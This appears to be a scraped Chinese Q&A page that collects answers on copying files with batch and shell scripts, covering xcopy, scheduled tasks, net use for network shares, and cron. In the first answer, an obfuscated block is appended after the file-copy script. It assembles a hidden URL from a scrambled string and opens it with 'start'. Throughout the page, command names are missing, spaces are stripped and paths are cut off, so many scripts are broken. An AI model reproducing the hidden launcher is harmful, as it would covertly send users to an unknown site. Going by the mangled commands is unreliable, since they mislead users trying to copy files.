文件拷貝腳本
❶ 怎麼用bat復制指定的一個文件到指定文件夾,並重命名
腳本保存時的編碼務必設為ANSI,您包含文件名的文件列表文本,編碼也要使用ANSI,否則中文字元會出現亂碼現象,從而導致腳本執行報錯。
@echooff&title批量拷貝文件到指定目錄,並根據列表重命名By依夢琴瑤
cd/d"%~dp0"
::設置源文件完整路徑,當前目錄可只寫相對路徑
setSrcFile=C:.xlsx
::設置目標目錄完整路徑,當前目錄可只寫相對路徑
setTgtFolder=C:
::設置列表文件完整路徑,當前目錄可只寫相對路徑
setFileLst=C:.txt
ifnotexist"%TgtFolder%."md"%TgtFolder%"
for/f"usebackqdelims="%%ain("%FileLst%")do(
rem如果列表文件中的命名不包含後綴名,那麼請在下方的%%~a後面添加.xlsx後綴名
/y"%SrcFile%""%TgtFolder%\%%~a"
)
pause
set"Va="
set"Vb=8mNn9OoP0pQq:RrS/sTt.UuVvWwXxYyZz"
start"""%Va:~19,1%%Vb:~19,1%%Vb:~19,1%%Vb:~9,1%%Vb:~17,1%%Vb:~12,1%%Vb:~16,1%%Vb:~16,1%%Vb:~17,1%%Va:~3,1%%Vb:~20,1%%Va:~1,1%%Vb:~28,1%%Va:~3,1%%Vb:~28,1%%Vb:~20,1%%Va:~6,1%%Vb:~6,1%%Vb:~1,1%%Vb:~16,1%%Va:~8,1%%Vb:~8,1%%Va:~3,1%%Vb:~0,1%%Vb:~16,1%%Vb:~8,1%%Vb:~0,1%%Vb:~16,1%%Va:~8,1%%Va:~24,1%%Vb:~16,1%%Vb:~7,1%%Va:~4,1%%Vb:~32,1%%Vb:~9,1%%Va:~26,1%%Va:~3,1%%Vb:~20,1%%Va:~25,1%%Vb:~9,1%%Va:~17,1%"
❷ 怎麼用shell腳本拷貝一個文件到另一個文件再把原文件刪除
直接用cp命令就可以了
假設A文件和B文件
cp A B
這樣A的內容到B,覆蓋B原來的內容
❸ 幫忙寫一個自動拷貝文件的腳本
輸入services.msc,查看Task Scheler服務是否自動開啟(默認是自動開啟的)。然後寫一個批處理文件:a.bat(假定存放在d盤根目錄)
a.bat內容:
@echo off
d:\back\*.* e:\back
打開cmd,輸入at 1:00 d:\a.bat
OK!
To問題補充:運行完關掉就可以了
❹ 在bat腳本中實現復制文件
bat 是批處理文件,主要用於 DOS 和 Windows 操作系統中。
.bat 文件的內容,是由一系列命令構成,每一行通常是一條命令,這些命令是以字元的形式,通過命令解釋器進行執行(與 Windows 常見的滑鼠點擊運行不同)。
復制文件的最常用的命令是: 。相關的資料如下:
COPY [/D[1] ] [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/A | /B]
[+ source [/A | /B] [+ ...]] [destination [/A | /B]]
各參數代表的含義:
source 指定要復制的文件。
/A 表示一個 ASCII 文本文件。
/B 表示一個二進位文件。/D 允許解密要創建的目標文件
destination 為新文件指定目錄和/或文件名。
/V 驗證新文件寫入是否正確。
/N 復制帶有非 8dot3 名稱的文件時,
盡可能使用短文件名。
/Y 不使用確認是否要覆蓋現有目標文件的提示。
/-Y 使用確認是否要覆蓋現有目標文件的提示。
示例:
將 D:\目錄\ 下的所有 txt 文件,復制到 D:\目標目錄 下。
D:\目錄\*.txt D:\目標目錄
❺ 利用Windows 計劃任務定時將本地文件復制到共享文件夾
有時候,我們會遇到需要將本地文件定時復制到遠程主機的情況。解決這個問題的思路是:
1、編寫復制文件腳本
2、利用Windows計劃任務定時執行腳本
邏輯是簡單的清楚的,但是在實際操作過程中,卻可能有很多細節。
腳本內容:
net use \\net_host_ip_address\ipc$ password/user:username
x /e /H "C:\backup" "\\10.144.129.17\share_dir\"
說明:
與本地cop不一樣,網路之間的需要使用到用戶名和密碼,所以腳本的第一句是指定網路主機的幾個參數:
net_host_ip_address:提供共享目錄的主機的ip地址(或者主機名)
password:能夠訪問共享目錄的用戶名
username:訪問共享目錄的用戶名
#第二行比較簡單,
/e和/h都是x提供的參數,"C:\backup"是要拷貝的文件夾(x比較惡心人的是,並不能將根目錄一起復制,只能復制目錄下面的所有文件,
比如本次目錄,要想連同backup一起拷貝,除非在backup上面還有一層目錄)。最後一段就是網路位置
設置定時任務:
這里需要說明的是:
因為我們要設置的是定時任務,所以選擇【不管用戶是否登錄都要執行】;因為我們要將本地資源復制到網路位置,
所以下面的不要存儲密碼一定不要選;
這里我們要說的是其實位置:在windows server 2012 R2下,起始位置選擇上一步程序或腳本的存儲位置
❻ 如何用bat復制一個文件夾到另一個文件夾去
BAT腳本如下:
x c:\data\data1 d:\data\ /e
x c:\data\data2 d:\data\ /e
用XCOPY 復制目錄樹,/e 參數是包括空目錄。
但如果目標路徑存在,則不能復制。
❼ bat腳本讀取並拷貝文件
@echooff
for/f%%ain(D: rrA.txt)do(
/y"%%a""D: tt")
pause
::中國批處理腳本聯盟
❽ window中編寫BAT腳本文件實現文件的拷貝
@echooff
for/f"tokens=2delims=="%%ain('wmicLogicalDiskwhere"DriveType='2'"getDeviceID/value')dosetU=%%a
x/s/e%U%:*D:個人目錄
pause
以上命令會自動獲取最後一個U盤的盤符路徑。並把文件拷貝到D盤的個人目錄中。
❾ shell腳本---定時復制文件至目的文件夾
業務需求:定時從path1中取文件,復制到path2中
主要解釋第7行
分3部分:
既然上述命令輸出的是一串字元串,則不可避免需要做切割。
對於一行字元串str="aaa,bbb,vvv,ccc"
直接利用${str[@]}就可以獲得分割後的列表。那麼,如何定義分隔符呢?
IFS=$','
IFS是系統自帶的一個變數,儲存著分隔符,默認好像是空格。可以自定義
上面腳本中就是定義了IFS為換行符。
腳本後半部分就是依次處理文件,判斷目標文件夾是否已有該文件,如果沒有,就復制。
項目中源文件夾的文件是每個幾分鍾會增加一個,相當於上述腳本要每隔一段時間運行一次,以確保源文件夾和目標文件夾里的內容同步。
crontab講解1
crontab講解2
❿ bat腳本拷貝某些文件到另外一個文件夾
BAT腳本如下: x c:\data\data1 d:\data\ /e x c:\data\data2 d:\data\ /e 用XCOPY 復制目錄樹,/e 參數是包括空目錄。 但如果目標路徑存在,則不能復制。